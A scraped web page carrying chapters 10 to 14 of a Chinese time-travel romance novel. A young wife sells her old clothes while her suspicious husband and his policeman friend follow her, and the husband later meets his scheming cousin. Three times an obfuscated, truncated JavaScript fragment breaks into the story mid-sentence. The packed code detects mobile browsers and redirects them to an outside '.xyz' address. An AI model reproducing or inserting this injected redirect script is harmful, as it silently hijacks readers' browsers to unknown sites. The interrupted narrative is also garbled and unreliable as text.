一共六首曲子,十八块钱呢,这都抵得上学徒工一个月的工资了。 三百八十不嫌多,十八块也不嫌少,何况,如果天天都有这么多的额外收入,那她绝对是跻身南城高收入群体了。 揣着热热乎乎的十八块钱,柳绵绵喜滋滋地回到求知巷。 院门锁着,柳绵绵敲了会儿门,里面半天没人应声,她后知后觉想起来,沈维舟和刘婶大概是都已经出门了。 掏出俞婉之前给她的钥匙进门,院子里果然静悄悄的。 柳绵绵朝着厨房的方向喊了几声“刘婶”,没人应声,又朝着正房的方向喊了几声“沈维舟”,还是没人应声。 确认其他人都不在家,柳绵绵顿时轻松无比,笑呵呵地哼起了歌:“今儿真呀真高兴,咱们老百姓,高兴,高兴,今儿真呀么真高兴……”唱着唱着,还扭了两下。 柳绵绵哼着歌进了东厢房。 她并不知道,此时此刻,院子角落不起眼的杂物房里有两双眼睛正看着她。 人高马大的林哲缩在逼仄的墙角,表情一言难尽,评价说:“你媳妇儿还挺活泼的哈。” 沈维舟站在破书柜后面,冷着脸,眼底也有几分无语。 他也不知道柳绵绵私底下原来这么……活泼。 林哲同情地看着沈维舟:“如果真像你怀疑的,你媳妇儿想要离家出走……说回来还真有点像,她进门还故意喊了你们,是想确定你们在不在家吧?要真是这样,那她还挺迫不及待的啊?”都高兴成那样了,载歌载舞的。 “……” 沈维舟面无表情,淡声:“天若欲其亡,必先令其狂。” 嘶,林哲看他一眼,没这么严重吧? 11. 第11章 柳绵绵在屋里收拾东西,原本觉得兜里没钱,有些东西凑合也能用,有了新入账的十八块钱,她很干脆地把原先的洗漱用品还有原主的两双旧鞋子也给扔了。 还有一些原本觉得可扔可不扔,或者当抹布什么的,现在也都一起扔了。 正收拾呢,忽然听见院子里好像有什么声音,她开门看了眼,没看到什么。 附近有几只野猫,柳绵绵在巷子里见过,大概是这一片大家日子都不错,不缺一口两口吃的,野猫被喂得很胖。 柳绵绵猜测是野猫跑进院子了,也没在意,仍旧回屋里,把要卖的、要扔的分别收拾妥当。 嚯,全都塞在一起真是老大的一包。 柳绵绵力气不算小,可那么大一个袋子,她一只手还真提不起来。没办法,只能两只手拖着走,等到了垃圾站把不要的扔掉就好一点了。 把袋子先拖到门口,柳绵绵回头锁好门,这才又拖上袋子往前走。 路口。 林哲掸了掸头发。他俩从杂物间出来时,门上突然挂下来一只老大的蜘蛛,他还没反应过来呢,沈维舟不知道哪儿捡的一根细木棒,歘地一下,给蜘蛛捅了个对穿。 他没被蜘蛛吓到,倒是被沈维舟惊到了,非常不专业地发出了声音。要不是他反应快,动作敏捷,差点就被柳绵绵发现了。 “真没蜘蛛网?”林哲问。 大概是心理作用,他老觉得脑袋上好像有蜘蛛网。 沈维舟脸色不太好看,语气也不太好:“没有。”看他的眼神还有点嫌弃。 林哲表示理解。 他猜测沈维舟是和媳妇儿吵架了,然后两个人都说了些上头的话,比如散伙啦离婚啦老娘今天就走之类的。 沈维舟这个结婚没几天的愣头青就当真了,甚至劳师动众地摇人过来堵人——别看这家伙成天冷着张脸,谁都懒得搭理的样子,没想到骨子里这么在意他媳妇儿。 看破不说破,这个道理林哲还是懂的。 不过,林哲奇怪地看了沈维舟一眼,问:“研究所是不是还给你们这些研究员找武术教练了?为了确保你们的人身安全,或者是,为了强身健体?你弄死蜘蛛那一下,那叫一个快狠准,我琢磨我可能都做不到。真看不出来啊,你平时病恹恹的,能有这身手?” 沈维舟面不改色,淡声说:“人在高压、紧张的状态下,往往能爆发出数倍于平常的能力。” 他理直气壮甩锅:“我是被你吓到了。” 他俩从小就认识,林哲对沈维舟知根知底,倒是不会多想,沈维舟这么说,林哲想了想,觉得也对,应该就是凑巧。 林哲没再揪着这个问题,捏着手里比火柴盒还要小那么一点的铁盒子,提出了新的疑问:“你媳妇儿离家出走,这玩意儿就会发出警报?靠谱吗,就我们之前在院子里看着,也不好判断你媳妇儿想做什么吧,这玩意儿又不是你媳妇儿肚子里的蛔虫,它能判断你媳妇儿是不是真要离家出走?” 沈维舟看一眼林哲手中的报警器,语气波澜不惊:“我在我爸妈放钱和其他东西的地方装了报警装置。” “……” 林哲眼睛都瞪大了,甚至怀疑自己前几天连续加班,没睡好出现幻觉了:“你说什么……你还往你爸妈房间里装了报警装置?!” 不对,林哲很快反应过来,沈维舟说的是往他爸妈放钱和其他东西……这个其他东西显然指的是比钱还要贵重的东西……所以,沈维舟不但怀疑他媳妇儿要离家出走,还怀疑他媳妇儿要偷了家里东西走? 林哲表情变得严肃,涉及到他人财物,哪怕是公婆的财物,这可就不是普通的家庭纠纷了。 “你可真行!”林哲冲沈维舟竖了竖大拇指,不管事情是不是像沈维舟怀疑的那样,这人直接在家里装报警器,可真是,牛逼。 “有没有可能是有什么误会?” 派出所调解工作做多了,林哲习惯性地想要调解一下双方的矛盾,不过没等沈维舟回答,他突然往后撤了两步,低声提醒:“你媳妇儿出来了。” 林哲低头看了眼手里的报警器,这玩意儿也没响啊! “会不会真是有误会?”他又问了一遍。 沈维舟也看了眼报警器,皱了皱眉,不过还是斩钉截铁说:“不可能。” 从这几天发生的事情就可以看出来,哪怕细节上有变化,但大的一些事情和节点不会有什么改变,比如他们结婚、回门,比如江北村祭祖演出,甚至他今天确实也接到了研究所的电话,和上辈子一样,让他去参与机密研究项目的难题攻坚讨论。 一切都预示着上辈子的事情依然会发生。 就连那个叫朱永齐的,也已经被释放。 沈维舟并不认为这辈子柳绵绵会做出不同的选择。 甚至,他其实也并不希望她做出不同的选择。 那一丝似有若无的犹豫被他死死压在心底,他只想尽快将柳绵绵送进牢里,尽快了结他们之间的恩怨。 所以,他宁可相信是这个年代的材料不够好,他制作的警报器出现了问题无法正常使用。 “你媳妇儿拖的这个袋子看着是挺沉哈,不会真是把你家稍微值钱点的东西都搜刮走了吧?”林哲啧了声,还是又劝了一句,“不过这都是我们的猜测,要不再看……” 他还没说完,身旁的沈维舟已经冲了出去,林哲只好赶紧跟上去。 柳绵绵一路拖着个大包,拖得汗都出来了,正嘀咕自己真是没脑子,明明可以分个几次慢慢把东西处理掉的,一次拿个几件,也不累,偏偏脑子一抽把所有东西都整理了出来,真是沉得要命,搞得她都想给拖回9号院儿去了。 突然就被人拦住了。 她抬头看去,汗水流进眼睛里,辣得有些睁不开眼,看不清拦住她的是谁,不过声音倒是很熟悉。 “你在干什么?” 是沈维舟的声音,语气不太友好,冷冰冰的。 柳绵绵也不管脏不脏了,拿袖子往脸上抹了两下,呼,舒服了,能看清人了。 她稍稍站直了,莫名其妙看着面前的人:“我去旧货商店卖东西,还得去趟百货大楼,忙着呢,你有事吗?” 拖着一大袋东西,柳绵绵现在又热又累,这人一点眼力见也没有,也不说帮帮忙,说话语气还冷冰冰的,她听着不舒服,语气自然也不太好。 她说完后,沈维舟半天没吭声,搞不懂他什么意思,拦住她就为问这么一句吗? 柳绵绵有些奇怪地反问:“你不是去研究所了吗,怎么又在这里?” 沈维舟盯着面前的人,她如果是在演戏,那她的演技可真是炉火纯青。她的脸上,看不到一丝恐惧、心虚、忐忑之类的情绪,甚至还敢理直气壮地反问他。 旧货商店卖东西,还要去百货大楼? 沈维舟在心里冷笑。 只是借口未免太拙劣了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710755|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她一个新嫁娘,随身带的东西,大部分都是这次他们结婚新置办的,就算有一两件旧衣服,她那个皮箱能装几件衣服? 怎么可能有这么多东西可卖? 真是撒谎不打草稿。 “你把这袋东西打……” 沈维舟想说你把这袋东西打开,就知道我为什么在这里了,林哲突然大声打断他:“弟妹,你是要把这袋东西拿去哪里啊,这看着挺重的,要不要帮忙?” 说着侧头疯狂冲沈维舟使眼色让他赶紧闭嘴。 让你媳妇儿把这袋东西打开给你检查,回头要是误会一场,你是准备跪上一年搓衣板吗? 这可真是刚结婚的愣头青,完全不懂家庭和谐的重要性啊! 柳绵绵没注意他俩的眉眼官司,感慨到底还是公安同志靠谱,为人民服务的意识深入骨髓,瞧瞧,多么的乐于助人,急群众所急,解群众所难。 她开心道:“需要,可太需要了。林同志能帮忙先把这个袋子拖到垃圾站吗,里面有一包东西是要扔掉的。那些东西扔掉以后,我自己就能拎得动了。” “没问题。”林哲一把拎起袋子,“哟,这确实挺沉的,就前面那个垃圾站是吗?” 柳绵绵:“对对对,就前面一点,不远的。” 林哲:“行,那咱们走。” 他拽了一把沈维舟,边走还边解释:“维舟本来是要去研究所的,是我临时过来找他,他就把研究所那边给推了。你知道的,他是挂名在研究所,不过不用每天去坐班的,有什么重要事情去一下,不去也没事的。” 柳绵绵幽幽看他一眼,说:“我不知道。” “啊?哦,哦哦,你不知道,那,那也正常,你们这才结婚几天啊,肯定没来得及交代这些事,呵呵,呵呵呵。”林哲干笑,又拽了沈维舟一把。这人怎么回事,结婚这么多天了,这些事情居然都没告诉媳妇儿。 沈维舟看一眼林哲手里的袋子,没说话。 林哲无语。 以他办案的经验,柳绵绵表情自然,不慌不乱,应该并没有撒谎,她可能确实是去旧货市场和百货大楼。 林哲觉得也正常,他家媳妇儿有时候看上百货大楼哪件新衣服了,也会说把家里旧的拿去旧货商店卖掉,能抵一点是一点。 至于东西多,也正常,谁家里没点旧东西?没准里头不止柳绵绵自己的,还有沈维舟的呢。 被自家媳妇儿扔掉过很多旧鞋旧袜子旧内裤的林哲觉得一点都不奇怪。 退一万步讲,到前面那个垃圾站扔东西的时候,他们不就知道她袋子里装的是什么了? 沈维舟这就是关心则乱。 有人高马大的林哲帮忙,袋子很快被拎到垃圾站旁边。 柳绵绵解开袋子,拽出个用几件旧背心打结拼成的布包,抱着往垃圾推里一扔,拍拍手:“行了,扔掉这些东西,我这袋子就没那么重了,你们有事就去忙吧,我要去旧货商店了。” 林哲看一眼沈维舟,发现沈维舟还盯着他媳妇儿的袋子。 这人真是魔怔了。 林哲怕沈维舟又说出什么不好挽回的话,赶紧说:“那什么,我们俩事情已经谈完了,反正也没事,要不就陪你去旧货商店走一趟吧?” 听见林哲这么说,柳绵绵惊讶地挑了下眉,总觉得这俩人今天怪怪的。 她想了想,对林哲发出灵魂的拷问:“林公安,你今天不用上班吗?” 12. 第12章 林哲自然是要上班的,只是沈维舟难得有事找他,正好前段时间连着加了几天班,他就调休了半天。 其实林哲是觉得,没必要再跟着去旧货商店了,但显然沈维舟那副死样子,是不到黄河心不死。他怕沈维舟一个人去,回头说出什么不好听的,真把柳绵绵给惹毛了,到时候疑似离家出走,没准就直接成离婚散伙了,所以他觉得自己还是得跟着。 他笑呵呵地说:“我下午休息,左右没事,一起去见识见识,正好儿还能去知青菜场买点我媳妇儿爱吃的捎回去。” 既然公安同志坚持要助人为乐到底,柳绵绵自然也不会拒绝:“行,那就麻烦林同志了。”她感觉这俩人奇奇怪怪的,不过她和他们都不太熟,所以并不准备多管闲事,反正肯定跟她没关系。 林哲:“客气什么,我和沈维舟从小一起长大的,都是自己人。” 说回来,沈维舟虽然身体不好,但他从小就是南城军区大院里出了名的天才,小时候他调皮捣蛋,老头子揍他的时候,都得骂一句“你怎么不学学人家维舟”,纯纯的别人家的孩子。 不过林哲觉得,聪不聪明和会不会过日子,可真是两码事。沈维舟别看人聪明,可要说人情世故,真是一般般,非常的一般。今天要不是自己跟着,他这媳妇儿没准就得被气跑啰。 旧货商店就隔了两条街,有人帮忙拎东西,感觉没怎么费劲就到了。 柳绵绵发现林哲这人还挺有意思,走了一路跟她聊了一路,还见缝插针地说了沈维舟不少好话,活像专门来调解他们夫妻纠纷似的。 柳绵绵琢磨着自己对沈维舟态度应该还可以啊,扭头看一眼沈维舟,哦,懂了,肯定是他的问题,成天冷着张脸,难怪林哲以为他俩有矛盾。 “这些都是要卖的吗?”柳绵绵从袋子里往外掏,旧货商店的营业员就一件一件地给抖落开,看了几件后忍不住说,“你这些都挺新的,也是蛮时新的料子,这卖了有点可惜的哦。” 柳绵绵觉得没什么可惜的,一则这些衣服确实不是她的审美,二则这都是原主的衣服,她穿着也不太舒服。还得庆幸这年代的旧货商店收衣服呢,不然直接扔掉才是浪费。 营业员提醒过了,见柳绵绵坚持也就没再多说,直接给她报价格:“这件挺新的,去年在百货商店买的吧,他们新的卖二十二,我们这儿收十二,东西新我就给你往高了算,不然我们一般是八、九元的样子。这件旧一点,我给你算十元吧……” 营业员一边说一边噼里啪啦地打着算盘,很快就把钱算好了:“一共九十三元五角钱。” 一袋衣服连一百块钱都不到。 柳绵绵叹了口气,说:“行。” 营业员利落地把钱点给柳绵绵,然后,当着柳绵绵的面,给第一件“收十二”的那件,夹上个“售价十六元”的标签。 “……” 柳绵绵心情有点复杂。 不过换个思路,她其实是用不要的东西换回了九十多元“巨款”,这么一想就开心了。毕竟等到大街小巷到处都是卖服装的地摊时,她这些旧衣服就绝对卖不出这个价了。 “走,请你、你们喝汽水去!”柳绵绵高兴地说。 其实柳绵绵有点不理解沈维舟为什么也要跟来,又不能帮着拎东西,又一声不吭的,还时不时拿奇怪的眼神看她。 他不来,她还能省一瓶汽水钱呢。 不过算了,好歹是同床室友。 隔壁就是供销社,柳绵绵去买了三瓶桔子汽水,看到有新到的鸡蛋糕,又让售货员给称了一斤。 沈维舟和林哲站在供销社外面。 林哲看了眼正在买东西的柳绵绵,说:“看见了吧,人家就是拎点旧衣服过来卖,女同志都这样,喜新厌旧,衣服买来没几天,就又觉得还是新出的款式好看。你也别疑神疑鬼了,我看柳同志这人性格不错,开朗大方,你好好跟人过日子。” 沈维舟撩起眼皮看向他:“你觉得,她一次性卖掉那么多衣服是正常的?她一共就没多少衣服,卖掉这些以后,应该不剩几件了。” “……所以你还是怀疑她?”林哲嘶地倒吸口气,明白过来沈维舟的意思,“你怀疑她卖掉东西换钱是为了方便走人?” 林哲都不明白了:“你究竟为什么这么怀疑她?” 柳绵绵拎着汽水和鸡蛋糕出来,汽水每人分一瓶,鸡蛋糕的袋子却塞给了林哲:“这是给嫂子买的,孕早期多补充点营养。”换了几十年后,孕妇可能还要注意科学饮食,避免孕期糖尿病,这时候完全不用考虑这些问题,营养不够才是大多数。 林哲有些意外,不过也没推辞:“那我替你嫂子谢谢啦!” 偷偷给了沈维舟一个眼神:瞧瞧,你媳妇多会来事儿,哪像你。 林哲果断选择撤退:“那行,那百货大楼我就不去了,你俩自己逛吧。” 他是真没看出来柳绵绵有哪怕一丁点“离家出走”的迹象,不准备再跟着这小夫妻俩了,显得他太多余。沈维舟怀疑就让他怀疑去,陪媳妇儿逛逛百货大楼,花点钱,他没准就不怀疑了。 走之前林哲还叮嘱了一句:“柳同志,你在百货大楼看上什么了,就让沈维舟给你买,他兜里富裕着呢。” 留下两个人站在供销社门口面面相觑。 “你先回家吧,我去百货大楼逛逛就回。”柳绵绵果断说。她可没想要花沈维舟的钱,她兜里有卖衣服的九十多、西餐厅挣的十八块和原先的九十多,足足两百多呢,够买不少东西了。 沈维舟随便找了个借口:“笔坏了,要去百货大楼买一支新笔。” 柳绵绵无语地指指后面:“供销社就有笔。” 沈维舟沉默两秒,说:“供销社的笔不好,我习惯用百货大楼的一款笔。” 恰好一个售货员从供销社走出来,闻言狠狠瞪了沈维舟一眼。 柳绵绵忍不住想笑,她提供了另一个方案:“你告诉我是哪款,我帮你买。”这边过去公交车要坐五站路,他这病恹恹的,实在没必要为一支笔折腾一趟。 沈维舟又沉默了两秒,说:“别人挑的我用不习惯。” 柳绵绵:“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710756|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 等到上了公交车,柳绵绵才想起来,作为这个时空的“土著”,沈维舟在坐公交车这件事上其实完全碾压她。 甚至,由于沈维舟脸色特别苍白,售票员还优先给他安排了一个前排的好位置,柳绵绵作为“陪同家属”,蹭到了他旁边的边角料位置。 哪怕他俩说不用,售票员和其他乘客都不答应,一副生怕沈维舟在车上就撅过去的样子。 到了百货大楼,柳绵绵直冲文具柜台。她可实在太好奇了,究竟什么样惊天地泣鬼神的笔,能让沈维舟不辞辛劳跑这么远来亲自挑选。 “哪款,是哪款?” 柳绵绵好奇看着玻璃柜里面排列整齐的钢笔,一般的铱金笔两三元,贵一点的金笔七八元,再贵一点,几十元的也有,最贵最贵的,一款刻着永生字样的金笔,标价九十五元。 好家伙,四舍五入就是一百。 “特地跑这么远,肯定不是普通的笔吧?”柳绵绵边看边嘀咕,视线在“四舍五入一百”上停留得最久。要么说贵有贵的道理呢,这支笔看着还真是不太一样。 沈维舟面无表情看了眼,随后指了指最贵的那支:“这个。” 柳绵绵欻地扭头看向他,双眼晶亮。 啧啧,果然是最贵的这支。这人可真有钱啊,难怪林公安说他兜里富裕着呢。 沈维舟抽了抽嘴角,直接掏钱,从售货员手中接过装着笔的盒子,他看也没看,随手往衣服口袋里一塞,说:“走吧,买你的衣服去。” 柳绵绵对他简单粗暴的行为表示嫌弃。 怎么的就“别人挑的我用不习惯”了? 就这,还用挑吗,不就是“把最贵的那一款给我包起来”这么一句话的事情? 而且,她买衣服其实一点都不需要他陪。 算了算了,最后的日子再感受感受人间烟火气也挺好的,就当临终关怀了。 再度说服自己后,柳绵绵开始盘算买些什么。天气很快就会热起来,秋冬季的衣服可以暂时不买,买几件衬衣,再买两条薄款的裤子,连衣裙如果有合适的,也可以买一两条。 其实她本来还准备买些内衣裤,沈维舟跟着不太方便,幸好这些供销社应该有,回头去供销社买就可以了。 对了,还有洗漱用品,也要买新的。 这么一划拉,两百块钱好像有点不够花。所以在买完三件衬衣、两条裤子以后,又看到一条标价八十五元的水蓝色连衣裙时,柳绵绵就有点纠结了。 她挺喜欢这条裙子,但是价格超预算了。 “绵绵?”身后忽然有人喊她。 柳绵绵转身,看到柳锦诗站在几步外,表情复杂地看着她。 站在柳锦诗身旁的,是一个戴银框眼镜的青年,长得不错,看上去斯斯文文的。 柳绵绵正在想这人好像有点眼熟,就听见银框眼镜青年冲沈维舟喊了声“大哥”,说:“大哥今天看起来精神不错?” 然后,柳绵绵就听见沈维舟闷咳了几声,有气无力地“嗯”了声。 柳绵绵:“???” 13. 第13章 柳绵绵回头,发现沈维舟靠在了玻璃货柜上,低着头轻声地咳嗽。 也不知道是不是错觉,他脸色似乎又苍白了几分,虚弱得好像真的随时会撅过去似的。 除了瘦一点、脸色苍白一点,沈维舟平时看上去一点不像病入膏肓的人。柳绵绵习惯了,经常会忘记这个事情,再说从她穿越过来,也没见他有什么特别不舒服的。 突然看见他这个模样,柳绵绵顿时有些慌乱,下意识上前扶他,一叠声问:“你哪里不舒服,要不要去医院,身上带药了吗,要不要先吃个药?” 被她握住手腕,沈维舟浑身一僵,差点条件反射一巴掌把她拍开,他视线在她手上停留一瞬,说:“不用,我没事,休息一下就好了。” 他看着真不像没事的样子。 柳绵绵狐疑地问:“真没事?” 见他点了点头,扭头跟因为沈维舟靠在货柜上而不满地翻了个白眼、看见沈维舟这样又有些惊疑不定的售货员说:“你们这儿有水吗,麻烦给倒一杯温水来。” 售货员大概也是吓到了,忙从货柜底下拎出个热水瓶,又跟隔壁柜台要了个在售的搪瓷杯,快手快脚地给倒了一杯热水递过来。 柳绵绵皱皱眉:“你这个杯子没洗。” 售货员柳眉倒竖,差点就要开口骂人,看一眼沈维舟,还是忍着怒气晃荡了一下搪瓷杯,把杯里的水倒掉,又给重新倒了一杯。 柳绵绵接过来塞进沈维舟手里:“喝吧。” 沈维舟:“……” “要不还是一起送大哥去医院吧,检查一下怎么回事?”银框眼镜青年和柳锦诗走了过来。 “刚才还好好的,你们一来他就发病了。”柳绵绵嫌弃地看他们一眼,“你们别过来,先站远点,别影响空气流通。” 青年脸色不太好看:“大嫂,你不要乱说话,大哥这是旧疾复发,和其他人没关系。” “你才是别乱喊人,喊谁大嫂呢?”柳绵绵下意识就呛了回去,平白无故把她喊老了。 柳锦诗插话说:“他是沈维鸿,你丈夫的堂弟,本来就该喊你大嫂的。柳绵绵,你在家无理取闹,伤爸妈的心也就算了,不要在外面也无理取闹。” 柳绵绵微微眯起眼,打量柳锦诗一眼。 回门那天,她在柳家闹了一通,拿回了两千元彩礼,那时候不管他们怎么闹,柳锦诗可都是事不关己高高挂起,半点没掺和的,今天她倒是一反常态。 等一下。 沈维鸿,沈维鸿不就是原书里那个科研大佬男主吗? 原书里,沈维鸿深深迷恋着女主,在女主搞事业的时候给予各种帮助,在女主痛失所爱的时候,默默守候在她身边,最后终于感动女主赢得芳心,两个人从此过上事业爱情双丰收的幸福生活。 哦,对了。 沈维舟就是女主痛失的那个“爱”,在女主为了事业南下的时候突然结婚,后面又突然去世,等到女主从南边回来时,他坟头的草都快长出来了。 沈维鸿身为男主,身边自然也有不少芳心暗许的红颜知己,只是他爱女主爱得死去活来,弱水三千只取一瓢,和其他女人总是自觉地保持朋友距离。 而柳锦诗,就是他的红颜知己之一。 啧啧啧,真是好一出“我爱你,你爱他,他爱她”的多角狗血恋情。 柳绵绵一双眼睛在沈维鸿和柳锦诗之间来回打量了几遍,看得他们都有些不自在了,这才拖着声音“哦”了一声,说:“你说的伤爸妈的心,是指他们瞒下两千块钱彩礼被我戳穿要回来吗?痛失两千,确实挺伤心的哈。” 不等柳锦诗反应,她飞快地接下去说:“至于他是不是我丈夫的堂弟,他自己不会自我介绍吗,要你在这儿多事?啊,我知道了,他不会就是你喜欢的那个南城大学的大学生吧?啧啧啧,那算了,看在你一片痴心的份上,我就不计较你胡说八道多管闲事了。”一副“我够宽容大度了吧”的模样。 “你!” 柳锦诗又羞又恼,偷偷看一眼沈维鸿,见他皱着眉头,明显不太高兴,她脸色一白,跺了下脚,转身跑了。 “锦诗!”沈维鸿喊了一声柳锦诗,指责柳绵绵,“大嫂,你怎么能这样当众羞辱锦诗?” 柳绵绵一脸疑惑:“说她喜欢你原来是羞辱她啊,那你跟我说有什么用,你让她不要喜欢你不就好啦?” “噗嗤。”一旁偷偷吃瓜的售货员没忍住笑了出来。 沈维鸿脸都涨红了,心知按柳绵绵这歪理继续说下去,丢脸的也只会是自己,扭头就去追柳锦诗了。 看着也没多自觉保持朋友距离嘛,柳绵绵嘀咕了声。 打完嘴仗,她回头问沈维舟:“你好点没有?” 沈维舟摇头说没事了,她啧地一声:“你这个堂弟也没多关心你嘛,还说一起送你去医院呢,这就跑了。” “……” 沈维舟甩开她的手,站直了,对售货员说:“麻烦拿一下那条蓝色裙子,还有这个杯子我们也买了。”说着,从兜里拿出一个黑色的皮夹,抽出几张纸币递过去。 柳绵绵狐疑地看他,这就好了,他这病,怎么跟变戏法似的? 她眯了眯眼,这人不会是装的吧? 虽然怀疑沈维舟是装的,但柳绵绵又觉得,装病也得有个动机吧,那是他堂弟,又不是他仇人。 售货员把包好的衣服递给沈维舟,沈维舟转手就塞进了柳绵绵手里,那模样,跟拿的不是裙子而是炸药包似的。 柳绵绵觉得平白无故收他一条这么贵的裙子不合适,于是又让售货员拿了一打男袜,笑眯眯说:“礼尚往来啦。” 沈维舟无语,她这礼尚往来可真划算,拿颗芝麻跟人换走西瓜。 没别的要买了,两人拎着东西往外走,走到百货大楼外面,沈维鸿不知从哪里又冒了出来。 他问沈维舟是不是好点了,说自己担心柳锦诗出什么事,才追出去的。言下之意,他还是很关心沈维舟这个堂兄的。 随后他又说:“大哥,你们结婚好几天了,怎么也该回军区大院吃个饭吧?爷爷嘴上不说,心里肯定很记挂你,奶奶也盼着你经常回去。” 沈维舟轻咳了声,淡淡看向他,嘲讽地笑了下:“是么?” 沈维鸿被他看得很不自在,觉得今天的沈维舟有些陌生,眼神特别冷,让他莫名有种被猛兽冷冷注视的错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710757|173641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉。 硬着头皮干笑了下:“当然。” 沈维舟不置可否:“再说吧。” 柳绵绵他们回到求知巷时,刘婶已经回来了,正在厨房热火朝天地做饭,嘴里时不时哼一句戏,看来对下午的戏非常满意。 “哦哟,那肯定满意的啰,樊文芳哎,平时去买票都看不到的。”刘婶乐呵呵地跟柳绵绵分享,“樊先生唱得真好啊,扮相也好。江北村嘛也是运道好,那个投资搞芷江大桥的林大老板,就是他们村子出去的,哦哟,这几年给他们村里捐了不知道多少钱,戏台子搭得比人民剧院都要好了哦!” 又放低了音量问柳绵绵:“维舟陪你去百货大楼啦,他付钱了没,哦哟,让他付钱,他有钱的呀。” 大概是觉得结了婚就是一家人,刘婶说起沈家的事情也没怎么藏着掖着:“他奶奶给他留了不少东西的,老太太在的时候,最心疼他了。” 柳绵绵觉得奇怪,沈维鸿嘴里的奶奶还盼着沈维舟回军区大院看看呢,怎么刘婶说得老太太已经不在了一样。 大白天的,听着有点瘆得慌。 刘婶轻轻拍了她一下:“哦哟,你这孩子!” 跟她解释:“军区大院那个方美云,是维舟爷爷,就是沈志邦,在战场上遇见后娶的。维舟的奶奶叫徐蕙兰,是南城徐家的大小姐。那年月到处打仗,沈志邦以为维舟奶奶已经死了,就另娶了。解放后两边又遇上了,维舟奶奶就和沈志邦离了婚。” 说起徐蕙兰,刘婶有些难过,听见柳绵绵说在百货大楼碰见沈维鸿,表情顿时又满满的嫌弃:“那小子哦就是个笑面虎,面甜心苦,嘴巴嘛跟抹了蜜一样的甜,心里头嘛巴不得维舟出事,整天在沈志邦面前挑拨呢。” 柳绵绵吃了好大一口瓜。 也就是说,沈教授和沈维鸿他爹其实是同父异母的,沈维舟和沈维鸿的关系就更远一层了。 难怪呢,说起沈维舟有钱的时候,沈维鸿一副阴阳怪气的模样,敢情这钱都是沈维舟亲奶奶的,跟他没有一毛钱关系。 亏他还说什么奶奶也盼着你经常回去,那是谁的奶奶哟? 沈维舟没被恶心吐,都算他身体状况还算不错了。 沈维鸿这男主可真是一言难尽……不对啊,柳绵绵忽然反应过来,原书里没有这些内容啊! 原书里提到沈维舟时,就只说了他的身份是女主白月光,同时是男主的堂兄。 书里还提到过,沈维舟病逝前正在研究某个重要军工项目,后面沈维鸿继承他的遗志,花费数年时间,完成了这项研究,推动华国军工某领域取得了跨越式的发展。 不知道他们真实关系时,还挺让人感动的,知道以后,这可真是……他喵的! 这书谁写的啊,为了塑造男主伟光正的形象,把家庭关系都给吃了是吧? 好气。 不过也没多少时间可以给柳绵绵气了,因为上班时间又快到了。 “你要早点吃了去上班?!”刘婶惊讶得声音都快劈叉了,“哦哟,你什么时候找的工作啦,什么工作,在哪里,怎么这个点要去上班的啦?” 门外,沈维舟突然顿住脚步,看向厨房方向。 14、第14章 晚上九点多,柳绵绵工作结束,揣着晚餐时间赚到的六元钱,喜滋滋往外走,刚走到西餐厅门口,就听见有人喊她:“绵绵。” 是俞婉和沈伯康来接她了。 “这几年治安越来越不好,偷窃、抢劫都多了不少,以后你下班,我们都来接你。”俞婉笑着说,“我和你爸爸要是没空,就让你王叔来接。” 柳绵绵完全没考虑到这个问题。 毕竟她上辈子那个时代,晚上九点广场舞大妈才刚结束炫舞,年轻人夜生活都还没开始呢,大街小巷都是人,根本还不到需要担忧安危的时间。 倒是忘记了,这个年代娱乐活动少,大部分人夜里八九点钟就洗洗睡了,路上人少,也没个摄像头什么的,确实不太安全。 柳绵绵心里感动,嘴上却嘀咕了声“多事”,俞婉也不生气,宽容地笑笑,柳绵绵顿时感觉,自己就像一个无理取闹的熊孩子。 “本来是想着你和维舟刚结婚,先在家适应一段时间,再考虑工作的事情。没想到你这么能干,自己找到了工作。”俞婉笑眯眯地夸,也是和柳绵绵解释,他们并非没把她工作的事放在心上。 回到家,刘婶等在门上,见他们回来,忙问饿不饿,说特地留了鸡汤,可以烧面条给他们当宵夜。 柳绵绵摸摸自己的小腹,她才穿越没几天,感觉身上肉已经比刚穿来时多了不少,实在是刘婶的手艺太好了。她忍住诱惑,坚坚决拒绝:“不吃宵夜,我要减肥。” 见刘婶一脸疑惑,柳绵绵反应过来,国家还在努力解决贫困和温饱问题呢,哪里会有减肥这种说法。她又解释了一下:“我最近吃胖了,要减点肉。” 俞婉笑道:“港城人受国外影响,大概很注重控制体重,可你不胖呀,刚刚好的。”她以为是西餐厅里的港城人说了什么。 柳绵绵心说便宜婆婆真是太好了,人又温柔又会说话,不过她不是听西餐厅的人说了什么,她是真的需要减肥。 不吃宵夜,早饭总可以先想想吧,柳绵绵跟刘婶说明早想吃又脆又香的烧饼,刘婶终于满意了,说会打豆腐脑来给她配烧饼吃。 